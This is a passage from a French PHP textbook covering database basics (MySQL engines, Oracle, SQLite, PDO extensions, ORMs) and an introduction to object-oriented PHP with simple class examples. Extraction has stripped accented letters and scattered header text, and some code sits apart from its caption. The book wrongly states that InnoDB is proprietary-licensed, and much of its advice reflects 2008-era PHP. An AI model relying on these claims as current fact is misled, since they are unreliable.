Cette premire partie expose ce quest un SGBD et comment on lutilise
avec PHP :
larchitecture dun SGBD: de quoi se compose un systme de gestion
de bases de donnes ? Comment fonctionne-t-il ?
les principaux SGBD du march : la liste des outils votre disposition,
leurs objectifs, avantages et inconvnients, pour faire un choix
pertinent ;
la connexion PHP : comment PHP peut-il collaborer avec votre
SGBD ? Quelle solution dinterfaage choisir ?
Ces connaissances de base sont surtout utiles pour faire les bons choix
concernant vos projets PHP. Elles constituent une culture gnrale
essentielle sur ce sujet important.
Architecture dun SGBD
Un SGBD, comme son nom lindique, permet de manipuler des bases
de donnes. Il faut bien distinguer ces deux notions de base :
Une base de donnes est compose dun ensemble de donnes structures.
Une application peut utiliser une ou plusieurs bases de donnes. Physi-
quement, une base de donnes est constitue dun ou plusieurs fichiers
qui contiennent des donnes et des informations sur leur structure.
Un systme de gestion de bases de donnes (SGBD) est loutil qui permet
de manipuler les bases de donnes. Cest lui que lon interroge pour
ajouter, extraire, supprimer ou modifier des donnes dans une base.
RFRENCE Best practices PHP 5
Le chapitre 7 de louvrage franais Best practices
PHP 5 est un bon support pour approfondir votre
connaissance des supports de donnes. Il dtaille
la plupart des notions abordes dans ce chapitre.
R G. Ponon, Best practices PHP 5, Eyrolles,
2005
B


B
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
303
La base de donnes
La base de donnes est llment essentiel que vous allez solliciter
chaque fois que vous voudrez manipuler des donnes.
Exemple simple
Voici une mthode simple pour bien comprendre la composition gn-
rale dune base de donnes et construire une base cohrente. Pour cela,
prenons un carnet dadresses :
Question 1 : De quoi est compos un carnet dadresses ?
Dutilisateurs et dadresses.
Question 2 : De quoi sont composs les utilisateurs et les adresses ?
Un utilisateur possde un nom et un prnom.
Une adresse possde une rue, un code postal et une ville.
Question 3 : Quel lien y a-t-il entre les utilisateurs et les adresses ?
Un utilisateur possde une adresse.
Une adresse peut appartenir un ou plusieurs utilisateurs.
Notions techniques
Ces questions peuvent paratre un peu naves, mais elles sont essentielles
la mise en place de la structure de votre base de donnes. Chacune
delles est lie des concepts techniques :
Rpondre la question 1 permet didentifier les tables de votre base.
Pour rpondre cette question de manire pertinente, il est impor-
Figure B1
Architecture dun SGBD
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
304
tant de savoir ce que vous voudrez faire de ces donnes. Ici on dcide
davoir deux notions : utilisateurs et adresses, parce quon veut pou-
voir manipuler lun et lautre de manire indpendante.
Rpondre la question 2 permet didentifier les champs contenus
dans chaque table. Un champ reprsente une donne lmentaire.
On associera chaque donne lmentaire un type de donnes :
nom : chane de caractres ;
prnom : chane de caractres ;
rue : chane de caractres ;
code postal : numro ;
ville : chane de caractres.
Rpondre la question 3 permet davoir des informations sur lint-
grit quil faut donner aux donnes. Bien que ce soit facultatif, il est
souvent possible de spcifier ces liens de manire prvenir les inco-
hrences. On appelle ces paramtres des contraintes dintgrit :
je veux quune personne ne puisse tre lie qu une seule adresse ;
jadmets que plusieurs personnes puissent avoir la mme adresse.
Reprsentation graphique
Pour plus de clart, il est dusage de reprsenter graphiquement ces dif-
frents lments : tables, champs et relations. La figure B-2 reprsente la
base de donnes, contenant utilisateurs et adresses. On appelle ce type
de schma un modle conceptuel de donnes (MCD).
Types de donnes
Il est important, pour chaque champ dune table, de dterminer son type
de donne, cest--dire la syntaxe que doit respecter chaque donne. Par
exemple, le champ Rue et le champ Ville seront associs au type de
donne VARCHAR (chane de caractres) et le champ Code postal au type
de donne INTEGER (nombre entier). Ainsi, il sera impossible de mettre
une valeur autre quun nombre dans le code postal et ainsi de suite.
Voici les types de donnes que lon retrouve dans les SGBD courants :
CHAR(X) (chane de caractres de longueur X fixe) ;
VARCHAR(X) (chane de caractres de longueur X variable) ;
CONSEIL Outil de conception
En cherchant sur Internet, vous trouverez plusieurs
outils de conception de schmas comme on le voit
sur la figure B-2. Mais il est aussi possible et
mme recommand de se passer de ces outils. Un
tableau blanc, quand on est plusieurs rflchir
sur un schma, reste le meilleur des supports.
Figure B2
Modle conceptuel de donnes (MCD)
B


B
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
305
INTEGER (nombre entier) ;
FLOAT, DECIMAL, DOUBLE (nombre virgule) ;
DATE, DATETIME, TIMESTAMP (dates et heures) ;
BLOB, CLOB (donnes binaires ou chanes de caractres longues).
Cls et contraintes dintgrit
Une table peut comporter des champs spciaux appels cls. Ces cls per-
mettent de garantir lintgrit des donnes et/ou dacclrer les perfor-
mances. Voici les diffrents types de cls que lon peut associer un champ :
la cl primaire, souvent obligatoire, permet de garantir lunicit de
chaque enregistrement. La valeur dune cl primaire est obligatoire et
unique. On choisit souvent comme cl primaire un identifiant num-
rique auto-incrment ou un code (code produit) ;
la cl unique permet de faire en sorte que la valeur dun champ soit
unique. En dautres termes, que celui-ci ne comporte pas de dou-
blons. Par exemple, on peut dfinir le champ e-mail comme unique
pour viter que deux utilisateurs dclarent avoir le mme e-mail. Plu-
sieurs champs peuvent avoir des cls uniques indpendantes (contrai-
rement la cl primaire) et une mme cl unique peut tre dfinie sur
un ou plusieurs champs (comme la cl primaire) ;
la cl index najoute pas de contrainte. Elle permet juste dacclrer la
recherche sur le champ index.
Les cls ne sont pas les seules contraintes que lon peut dclarer. Imagi-
nons que nous souhaitons faire en sorte quun utilisateur ne soit li qu
une seule adresse la fois, tout en acceptant quune adresse soit lie
plusieurs utilisateurs.
On peut pour cela dfinir une liaison que lon appellera contrainte
dintgrit. Les SGBD qui sont capables de grer ce genre de contraintes
sont appels SGBD relationnels ou SGBDR. Avec MySQL, le moteur
InnoDB est capable de maintenir lintgrit des donnes par linterm-
diaire de ces liaisons fortes.
Les principaux SGBD du march
Il existe de nombreux SGBD utilisables avec PHP. Seul un petit groupe fait
partie du cercle des SGBD courants. Nous nous limiterons ici ces produits.
MySQL
MySQL est historiquement li PHP. Si les SGBD courants privilgient
avant tout lintgrit des donnes, MySQL a vu le jour pour privilgier les
performances. Aujourdhui, cet aspect performance est toujours au rendez-
CULTURE Indexation des cls
Toute cl, quelle soit primaire, unique ou simple-
ment dfinie comme un index, est indexe. Une
recherche sur un index est rapide. En revanche, plus
il y a de champs indexs dans une table, plus les
insertions, modifications et suppressions sont lentes.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
306
vous, mais lutilisateur peut choisir plusieurs moteurs en fonction de ses
besoins et ainsi rpondre pleinement des problmatiques web ou non web.
On utilisera MySQL pour tout type dapplication web, de petite taille,
de taille moyenne et mme de grande taille. Il sagit dun bon choix dans
tous les cas.
Voici les principaux moteurs que lon peut utiliser avec MySQL :
MYISAM: optimis pour les performances, il sagit du successeur du
moteur original de MySQL, anciennement ISAM. Ce moteur ne
permet pas davoir de fortes contraintes dintgrit, ni non plus
dannuler une ou plusieurs oprations (gestion des transactions, avec
commit et rollback). Labsence de ces mcanismes offre des perfor-
mances amliores ;
INNODB : moteur transactionnel trs populaire et le plus apprci
des entreprises. Contrairement MYISAM, il permet de mettre en
place des contraintes dintgrit fortes. Il offre aussi la possibilit de
faire des requtes transactionnelles, avec validation ou annulation
(commit, rollback). Ce moteur est actuellement la proprit de la
socit Oracle, il est sous licence propritaire ;
ARCHIVE : moteur optimis pour lcriture et non pour la lecture.
Il est utile pour stocker des logs ou des donnes de sauvegarde ;
MEMORY : moteur qui permet de crer des tables dans la mmoire,
utilis pour acclrer toute opration. Bien entendu, toute table cre
avec MEMORY est volatile, un arrt du SGBD ou du serveur sup-
primant tout le contenu.
Il existe dautres moteurs pour MySQL que vous pouvez tudier sur la
documentation officielle en ligne. La liste que nous vous avons prsente
regroupe les plus populaires.
Oracle
La rputation dOracle nest plus faire, en particulier dans le monde de
lentreprise. Ce SGBD est choisi gnralement pour mettre en place de
grosses bases de donnes tels des systmes dinformation stratgiques. Si
aujourdhui nous en voyons de plus en plus avec MySQL, Oracle reste
une valeur sre.
Oracle est un produit payant. Il existe une version de dveloppement
gratuite que lon peut utiliser dans un cadre non-commercial, appele
Oracle XE.
Oracle doit tre choisi dans le cadre de projets denvergure. Ce SGBD
peut savrer difficile et long matriser. Bien souvent, lintervention
dun administrateur spcialis est requise pour optimiser une base de
donnes Oracle.
DFINITION Commit, Rollback, Transaction
Une transaction est laction de rendre unique un
ensemble de requtes SQL. Par exemple, si vous
voulez insrer un utilisateur et son adresse, il vous
faudra peut-tre deux requtes SQL. Une transac-
tion est lie deux oprations fondamentale : la
validation (commit) et lannulation (rollback).
Lannulation de lensemble des requtes (roll-
back) intervient si au moins lune dentre elles
choue, et la validation gnrale de l'ensemble des
requtes (commit) intervient si elles ont toutes
t excutes avec succs. Ainsi, pour reprendre
notre exemple, il ne peut y avoir dutilisateur sans
adresse ou dadresse sans utilisateur. La transac-
tion assure de ce fait lintgrit de nos donnes.
B


B
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
307
Aussi, le problme dOracle rside dans la lenteur de louverture dune
connexion, ce qui le rend peu adapt une utilisation avec PHP, inca-
pable de maintenir un pool de connexion entre deux requtes.
SQLite
SQLite est un petit SGBD embarqu. Le terme embarqu signifie
quil ne ncessite pas la prsence dun serveur, contrairement Oracle ou
MySQL. Une base de donnes est stocke dans un fichier qui peut tre
inclus dans lapplication elle-mme.
SQLite est galement un SGBD trs permissif. Un champ dclar avec
le type INTEGER pourra par exemple contenir des chanes de caractres,
mme sil nest pas conseill de le faire.
Enfin, on utilisera SQLite pour grer des donnes non critiques. On
peut lutiliser par exemple pour faire du cache ou comme base interm-
diaire. La caractristique embarque permet aussi de simplifier la main-
tenance, car nul besoin didentifiant et mot de passe ni dun quelconque
paramtrage pour faire fonctionner une base SQLite. Par exemple,
SQLite est prsent dans de nombreux systmes embarqus ncessitant
un accs rapide des donnes : tlphones portable, box ADSL...
Le problme majeur de SQLite est son mode de verrouillage. En effet, il
verrouille ses bases intgralement lors dune opration dcriture. Si ses
performances en lecture sont trs leves, cest loin dtre le cas en cri-
ture. Il faudra donc privilgier SQLite dans des environnements o les
accs en lecture sont trs largement majoritaires sur les accs en criture.
Connexion PHP
Pour accder une base de donnes avec PHP, une extension spcifique
est ncessaire. Aujourdhui il existe deux sortes dextensions : les exten-
sions indpendantes et les pilotes PDO (PHP Data Objects).
Les extensions indpendantes sont les toutes premires avoir vu le
jour. Elles proposent des fonctions et parfois des classes permettant
deffectuer des oprations sur le SGBD.
Les extensions PDO permettent de lier le SGBD PDO, qui propose
des classes de manipulation standard, quel que soit le SGBD utilis.
Lutilisation de PDO est intressante aussi bien pour simplifier la
maintenance que pour assurer la durabilit des dveloppements.
REMARQUE Tests avec SQLite
SQLite est trs pratique en PHP pour lancer des tests.
Il assure alors la gestion des donnes phmres
ncessaires pour tester les programmes.
RFRENCE Documentation en ligne
Lensemble des extensions disponibles pour laccs
aux bases de donnes est fourni dans la documen-
tation en ligne de PHP. La page suivante propose la
liste des pages utiles :
Bhttp://www.php.net/manual/fr/
refs.database.php
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
308
Voici les extensions utilisables pour se connecter aux SGBD les plus
courants :
MySQL
mysql : lextension mysql standard est aujourdhui obsolte. Elle est
encore disponible pour la compatibilit avec les applications qui ont
t dveloppes avec elle, mais elle sera supprime un jour (lointain)
de PHP. Elle nest actuellement plus maintenue, au profit de mysqli.
http://www.php.net/manual/fr/book.mysql.php
mysqli : cette extension permet de se connecter MySQL en mode
procdural ou objet. Elle est compatible avec les dernires versions de
MySQL et possde bien plus de fonctions que lextension mysql, le i
signifiant improved (amlior). Il est fortement conseill de privil-
gier cette extension par rapport lextension mysql standard.
http://www.php.net/manual/fr/book.mysqli.php
pdo_mysql : le driver PDO pour MySQL. Aujourdhui, cette exten-
sion est prconise dans la plupart des cas.
http://www.php.net/pdo
Oracle
oracle : lancienne extension Oracle nest plus utilise, elle est dpr-
cie et nest pas recommande.
oci8 : cette extension est la plus couramment utilise jusquici. Elle
permet entre autres deffectuer de nombreuses oprations spcifiques
Oracle.
http://www.php.net/manual/fr/book.oci8.php
pdo_oci : le driver PDO pour Oracle. Sil est encore exprimental
aujourdhui, il rpond la plupart des besoins et savre de bonne fac-
ture.
http://www.php.net/manual/fr/ref.pdo-oci.php
SQLite
sqlite : extension procdurale et objet permettant de se connecter
une base SQLite et deffectuer au besoin des oprations avances.
http://www.php.net/manual/fr/book.sqlite.php
pdo_sqlite : le driver PDO permettant de se connecter une base
SQLite. Il existe deux versions : une pour la version 2 de SQLite et
une autre pour la version 3 qui savre plus performante, selon la
documentation.
http://www.php.net/manual/fr/ref.pdo-sqlite.php
T PDO
PDO (PHP Data Objects) est une extension un
peu particulire qui permet dutiliser la mme
interface (classes et mthodes) quel que soit le
SGBD sous-jacent. Les extensions qui font la
liaison entre PDO et les SGBD sappellent des
pilotes (drivers) : pdo_mysql, pdo_oci,
pdo_sqlite, etc.
B


B
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
309
PostgreSQL
pgsql : une extension procdurale permettant la connexion et le pilo-
tage dun serveur PostgreSQL.
http://www.php.net/manual/fr/book.pgsql.php
pdo_pgsql : le driver PDO de PostgreSQL.
http://www.php.net/manual/fr/ref.pdo-pgsql.php
Notions avances
Le monde des SGBD est vaste et peut devenir compliqu ds quon
sintresse des architectures complexes ayant de fortes contraintes de
performances. Voici une liste de cas pour lesquels il sera ncessaire
davoir des connaissances avances :
besoin dune architecture rpartie cest--dire une base de donnes
constitue de plusieurs nuds, avec des rplications ou des partages
qui sont paramtrs pour assurer un bon quilibre entre perfor-
mances, intgrit et mises jour des donnes ;
une forte charge qui ncessite davoir une architecture rplique, et des
tampons qui permettent dabsorber les nombreuses demandes simul-
tanes en lecture ou en criture ;
une grande complexit un systme dinformation qui doit stocker de
nombreuses donnes diffrentes, rparties en plusieurs bases ayant
des relations entre elles. Une architecture qui na pas t bien pense
au dpart peut devenir trs difficile maintenir ou dboguer.
Les ORM
Le mapping objet-relationnel (ORM Object-Relational Mapping) est
un outil pratique qui permet au dveloppeur PHP de manipuler une
base de donnes avec des objets (le plus souvent gnrs), crant lillu-
sion dune base objet.
LORM est gnralement utilis lorsque lon doit effectuer de nom-
breuses petites requtes paramtres. En fonction des implmentations,
lORM peut proposer une mise en cache automatique des rsultats de
requtes, car le principal inconvnient dun ORM est son impact impor-
tant sur les performances.
Il existe en PHP plusieurs solutions ORM, parmi lesquelles :
pdoMap (gnration de classes partir dun fichier XSD) ;
DB_DataObject (PEAR) ;
Propel (lun des gnrateurs dobjets les plus connus) ;
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
310
Doctrine (lun des plus complets ce jour) ;
Jelix (framework qui intgre son propre ORM).
Couches dabstraction
Avec une couche dabstraction de bases de donnes, il est possible de
changer de SGBD sans modifier une ligne de code. Loutil le plus connu
en PHP sappelle ADOdb.
Les couches dabstraction, si elles permettent une migration rapide dun
SGBD un autre, manipulent les requtes SQL afin de les rendre com-
patibles avec la base sous-jacente, ce qui nest pas sans inconvnients :
des performances moindres, bien que relatives... une requte mal crite
aura davantage dimpact sur les performances que la couche
dabstraction ;
limpossibilit dutiliser des fonctionnalits spcifiques du SGBD sous-
jacent, sous peine de ne pas tre compatible avec les autres SGBD, ce
qui rendrait la prsence de la couche dabstraction un peu obsolte.
Rplication et clustering
Ces oprations rpondent souvent des besoins de performances et,
dans une moindre mesure, permettent deffectuer des sauvegardes en
temps rel.
La rplication est un mcanisme qui consiste reproduire en temps rel
les oprations dcriture, de modification ou de suppression effectues
sur une base matre dans une base esclave. Elle permet dobtenir des
tables ou des bases de donnes identiques, sous rserve du temps de pro-
pagation des oprations de rplication.
La rplication est utile lorsque lon a beaucoup de requtes en lecture.
Lies un rpartiteur de charge, deux bases de donnes, ou plus, peu-
vent se partager le traitement des requtes de manire quilibre.
Le clustering est quant lui un systme permettant de ne voir quune
seule base de donnes lorsquil y en a plusieurs. Lobjectif du cluster est
daugmenter la puissance de calcul en utilisant plusieurs ordinateurs qui
nen reprsentent quun seul.
Des SGBD comme Oracle ou MySQL proposent des solutions de rpli-
cation et de clustering. Pour avoir plus dinformations sur ces concepts
avancs, nous vous conseillons la lecture de la documentation en ligne:
clustering avec Oracle :
http://www.oracle.com/technology/products/database/clustering/index.html ;
clustering avec MySQL : http://www.mysql.com/cluster.
RESSOURCE ADOdb
Quelques informations sur ADOdb :
Bhttp://adodb.sourceforge.net/
Groupe Eyrolles, 2008
C
Programmation
oriente objet
Tout langage digne de ce nom propose de manipuler
des objets. Mre des projets de dveloppement les plus
ambitieux, catalyseur des systmes dinformation les plus
complexes et reine de la modularit, la programmation
oriente objet est aujourdhui incontournable.
Pour le dveloppeur, elle est un vritable tremplin
qui lui permettra de crer des applications de grande
envergure, durables et faciles maintenir.
SOMMAIRE
BConcepts de la POO
BImplmentation en PHP
BModlisation et gnie logiciel
BConcepts objet PHP avancs
MOTS-CLS
Bobjet
Bclasse
Bexception
Bhritage
Brflection
Bmthode magique
BUML
Bvisibilit
Bmthode
Bproprit
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
312
Cette annexe propose une introduction simple et pdagogique la pro-
grammation oriente objet. Elle sadresse autant aux dbutants qui sou-
haitent apprendre ce concept incontournable qu lexpert soucieux de se
rafrachir la mmoire.
Aprs un rapide tour dhorizon des concepts de base lis la POO, nous
nous intresserons son implmentation en PHP, puis aux outils de
modlisation qui permettent de structurer efficacement un programme
en amont.
Concepts de base
Ce chapitre est trs important pour apprendre ou se remmorer le pour-
quoi et le comment de la programmation oriente objet. Vous avez
entendu dire ou vous vous ltes peut-tre dit vous-mme : La POO
nest pas ncessaire pour crer un bon programme en PHP . Tout dve-
loppeur qui matrise la POO vous rtorquera que oui, il est possible de
faire Paris-Marseille vlo, mais il y a plus efficace comme outil pour
envisager un voyage ambitieux.
Tout est question dorganisation
Que faites-vous pour trouver un livre dans une bibliothque qui en con-
tient des centaines de milliers ? Rponse : cela dpend de lorganisation
quon a donne ces livres. Pour cela, votre bibliothcaire a plusieurs
possibilits :
faire un gros tas contenant tous les livres au milieu de la pice :
pour trouver un livre prcis il vous faudra beaucoup de patience ;
pour trouver tous les livres sur PHP, il vous faudra au moins une
semaine de splologie ;
ranger tous les livres par ordre alphabtique, par auteur :
pour trouver un livre prcis, a sera rapide si vous connaissez
lauteur ;
pour avoir sous les yeux lensemble des livres sur PHP, il vous
faudra parcourir tous les livres de la bibliothque ;
classer les livres par genre et par thmes, puis les ranger par ordre
alphabtique, par auteur, puis par titre :
pour trouver un livre prcis, a sera encore plus rapide ;
avoir sous les yeux tous les livres sur PHP sera immdiat, car votre
bibliothcaire tout mis dans le rayon correspondant au thme
PHP .
RESSOURCE Comprendre la POO
Lintrt du concept de POO nest pas toujours vi-
dent apprhender au dbut, surtout si vous aviez
lhabitude de dvelopper en mode procdural. Si
tel est votre cas, nous vous conseillons galement
de lire la section intitule Les objets de louvrage
franais Best practices PHP 5 qui vous aidera,
grce de nombreuses illustrations, vous fami-
liariser avec ce concept.
BG. Ponon, Best practices PHP 5, Eyrolles,
2005
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
313
Ranger ses procdures dans les bons rayons
Les procdures de votre application sont comme les livres de votre
bibliothque. Plus vous les rangez intelligemment, moins vous aurez
les chercher. Un code bien rang, cest :
du temps gagn chaque fois que lon veut trouver une fonctionnalit
existante ;
un moyen de rutiliser au maximum les fonctionnalits existantes,
plutt que daugmenter le nombre de lignes de code en redveloppant
ce qui existe dj ;
lassurance de matriser tout votre code, mme sil y en a beaucoup et
mme si vous ny avez pas touch depuis longtemps.
En programmation, et avec PHP tout particulirement, il existe trois
moyens de ranger son code :
dans des fichiers ;
dans des fonctions ;
dans des classes.
Parmi ces moyens, le plus volu est bien entendu le systme des classes
que nous nous proposons dtudier ici.
Quest-ce quune classe ?
Une classe est un ensemble qui peut contenir des donnes et des fonction-
nalits. Une classe permet de rassembler des donnes et des fonctionna-
lits qui interagissent troitement, garantissant un espace clos et scuris.
Techniquement, une classe possde :
un nom (exemple : Blog) ;
des fonctions (exemple : getRecords(), getComments(), etc.) ;
des variables (exemple : $records, $comments, etc.).
Dclarer une classe
Voici une classe vide :
Classe Blog vide
Une classe est dclare avec le mot cl class suivi de son nom et de son
contenu. Le contenu de la classe est toujours entre les deux accolades qui
suivent le nom.
class Blog
{}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
314
Voici une classe contenant une donne :
Classe Blog contenant une donne (proprit)
Cette classe possde une variable $record qui contient un tableau vide.
Nous reviendrons plus loin sur la signification du mot cl public.
Pour ajouter une fonctionnalit la classe Blog, il suffit de dclarer une
fonction dans la classe :
Classe Blog contenant une fonctionnalit (mthode)
Cette classe possde une fonction vide getRecords(). De mme, nous
verrons ultrieurement la signification de public.
Des classes et des objets
Cette diffrence est trs importante en programmation oriente objet :
une classe est une implmentation, cest--dire du code PHP ;
un objet est une instance de la classe, cest--dire une variable que lon
utilise pour appeler les donnes et les fonctionnalits de la classe.
Il est important de savoir que :
avec une classe on peut crer plusieurs objets ;
chaque objet dune mme classe peut avoir des donnes diffrentes et
distinctes.
Pour crer un objet partir dune classe, on utilise le mot cl new :
Cration dun objet
Lobjet $blog est cr partir de la classe Blog.
class Blog
{
public $records = array();
}
class Blog
{
public function getRecords()
{}
}
$blog = new Blog();
T Variable de classe
Une variable situe dans une classe sappelle une
proprit, on peut aussi lappeler attribut.
T Fonction de classe
Une fonction situe dans une classe sappelle une
mthode. Lorsquon lcrit comme dans cet
ouvrage, sa dnomination sera systmatiquement
suivie de parenthses : uneMethode().
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
315
Implmentation en PHP
Chaque langage propose sa syntaxe du modle objet, mais tous ont de
nombreux points communs. Nous allons voir comment fonctionne le
modle objet de PHP.
Il est possible daccder aux attributs et aux mthodes dun objet via
laccesseur objet, not -> (flche) :
Une classe Blog
Cration dun objet Blog
Ce code va afficher le tableau $records de lobjet $blog. Ceci nest pos-
sible que parce que :
nous avons cr un objet de la classe Blog, via le mot-cl new ;
lattribut $records de lobjet est dclar avec une visibilit public.
Il peut tre intressant daccder cette proprit $records, depuis la
classe elle-mme. Il faut pour cela pouvoir rfrencer lobjet externe, et
ceci seffectue grce la variable spciale $this.
La classe Blog introduisant la variable spciale $this
La mthode getRecords(), lorsquelle est appele, retournera la valeur de
lattribut $records. Remarquez que le dollar est devant $this et donc pas
devant records, aprs la flche. $this reprsente lobjet qui, plus tard, sera
cr, il est donc impossible dutiliser cette variable en dehors dune classe, ni de
lui affecter directement une valeur ($this = 'quelquechose' est impossible).
class Blog
{
public $records = array();
public function getRecords()
{}
}
$blog = new Blog();
var_dump($blog->records);
class Blog
{
public $records = array();
public function getRecords()
{
return $this->records;
}
}
CULTURE PHP 4 ou PHP 5 ?
PHP 4 et PHP 5 possdent des diffrences impor-
tantes dans leurs modles objet respectifs. Cet
ouvrage traite uniquement du cas de PHP 5.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
316
Visibilit
Il existe trois niveaux de visibilit qui sappliquent autant aux proprits
quaux mthodes :
public : tout le monde peut accder la ressource dclare ;
protected : la ressource nest pas accessible depuis lobjet, lext-
rieur de la classe, elle ne lest que depuis la classe courante ou une
classe fille (notion que nous allons aborder) ;
private : la ressource nest accessible que depuis lespace o elle est
dclare, cest--dire la classe.
Classe Blog modifie par visiblit
Nous avons pass lattribut $_records en visibilit private. Il nest donc
plus possible dy accder depuis lextrieur de cette classe :
Tentative daccs un attribut priv
Pour accder lattribut $_records, depuis lobjet, nous devons utiliser la
mthode getRecords() qui elle est publique, donc accessible depuis
lobjet. Elle a la possibilit de retourner le tableau dans $_records, car on
y fait rfrence depuis la classe et non depuis lextrieur (private) :
Accs avec la mthode
La visibilit est une notion fondamentale de la programmation oriente
objet. Elle va permettre au programmeur de masquer un certain nombre
dinformations tout en matrisant les donnes auxquelles il veut que lon
ait accs partir des objets crs depuis la classe.
class Blog
{
private $_records = array();
public function getRecords()
{
return $this->_records;
}
}
$blog = new Blog();
var_dump($blog->_records);
// affiche :
Fatal error: Cannot access private property Blog::$_records in
PHPDocument1 on line 16
$blog = new Blog();
var_dump($blog->getRecords());
REMARQUE Convention dcriture
Par convention, nous prfixerons le nom de tout
attribut ou mthode non public par un trait de
soulignement _ (underscore). Cette conven-
tion est utilise dans le code source de Zend Fra-
mework.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
317
Construction et destruction
Linitialisation est une tape importante dans la vie dun objet. On veut
souvent, la cration de lobjet, initialiser plusieurs de ses attributs, ou
plus gnralement, initialiser un contexte.
PHP fournit une mthode de construction dobjets, dite magique, car
elle va tre appele implicitement. Cette mthode est __construct().
Classe contenant un constructeur
Ds lutilisation du mot-cl new, la mthode __construct() sera appele
de manire automatique, comme une fonction PHP normale, avec ses
paramtres obligatoires et/ou facultatifs :
Construction dun objet
Nous venons de crer deux objets diffrents de la classe Voiture.
Le destructeur est quant lui appel la fin de la vie de lobjet, cest--
dire ds quil ne reste plus aucune rfrence lobjet en question en
mmoire. Alors que dautres langages comme C++ imposent la gestion
manuelle de la mmoire et le drfrencement des objets, ce nest pas le
cas de PHP. Ainsi, les destructeurs sont trs souvent omis car leur utilit
nest que trs ponctuelle. La mthode de destruction est __destruct().
Exemple de destruction dun objet
class Voiture
{
public $color;
public $vitesseMaxi;
public function __construct($couleur, $vitesse)
{
$this->color = $couleur;
$this->vitesseMaxi = (float) $vitesse;
}
}
$v1 = new Voiture('bleue', 120);
$v2 = new Voiture('rouge', 80);
echo $v2->color; // affiche rouge
echo $v1->vitesseMaxi; // affiche 120
class Blog
{
public function __destruct()
{
echo 'dtruit';
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
318
Ce code affiche dtruit, car lobjet est cr puis est dtruit par PHP
automatiquement, la fin du script. Le destructeur est donc bien une
mthode magique : il est appel implicitement.
Hritage
Lhritage est lui aussi une notion fondamentale de la programmation
oriente objet. Il permet une rutilisabilit du code, en mettant en fac-
teurs les ressources et les fonctionnalits communes plusieurs classes,
dans une seule et mme classe, appele classe mre. Les autres classes vont
alors hriter de la classe mre, on les appelle ainsi les classes filles.
Exemple de code dupliqu entre les classes
}
}
$b = new Blog();
class Livre
{
private $_nbrPages;
private $_prix;
private $_couleur;

public function __construct($nbrPages, $prix, $couleur)
{
$this->_nbrPages = (integer) $nbrPages;
$this->_couleur = $couleur;
$this->_prix = (float) $prix;
}

public function getPrix()
{
return $this->_prix;
}
}
class Stylo
{
private $_couleurEncre;
private $_prix;
private $_couleur;

public function __construct($couleurEncre, $prix, $couleur)
{
$this->_couleurEncre = $couleurEncre;
$this->_couleur = $couleur;
$this->_prix = (float) $prix;
}
T Mthode magique
Une mthode magique est une mthode de classe
spciale qui est automatiquement appele
lorsquun vnement survient. Elle est prfixe par
__ . Il existe de nombreuses mthodes magi-
ques en PHP, dtailles plus loin dans cette
annexe.
MMORISER Vocabulaire franais
On utilise souvent lexpression est un ou est
une sorte de , pour dsigner un objet dune classe
fille, par rapport la classe mre. Par exemple :
une Voiture est un Vehicule, Voiture
tant la classe fille et Vehicule, la classe mre.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
319
Voyez ces deux classes, Stylo et Livre. Elles ont des points communs :
les objets de ces deux classes possdent un prix
les objets de ces deux classes possdent une couleur.
Il est possible de factoriser ce code commun dans une classe mre, et
den faire hriter chacune des classes filles grce au mot-cl extends :
La classe mre comporte le code commun
Chacune des classes filles va hriter du code de la classe mre et va pou-
voir dfinir sa propre spcialisation, qui la diffrenciera de la classe mre
et des classes surs :
La classe Livre est une spcialisation de Produit
public function getPrix()
{
return $this->_prix;
}
}
class Produit
{
protected $_prix;
protected $_couleur;

public function __construct($prix, $couleur)
{
$this->_couleur = $couleur;
$this->_prix = (float) $prix;
}

public function getPrix()
{
return $this->_prix;
}
}
class Livre extends Produit
{
private $_nbrPages;

public function __construct($nbrPages, $prix, $couleur)
{
$this->_nbrPages = (integer) $nbrPages;
parent::__construct($prix, $couleur);
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
320
La classe Stylo est aussi une spcialisation de Produit
La classe mre Produit est dclare avec des attributs protected, ce qui
autorise les classes filles y faire rfrence, comme si elles avaient t
explicitement dfinies dans celles-ci.
Cependant, nous navons pas utilis public, donc nous interdisons
lobjet prochainement cr accder ces attributs (masquage dinfor-
mations).
Le mot-cl parent:: permet dappeler une mthode de la classe mre en
lui passant des arguments. Cette technique permet une rutilisation du
code, aucune duplication nest effectue, on ne prcisera dans les classes
filles que ce qui change par rapport la classe mre.
Variables et mthodes statiques
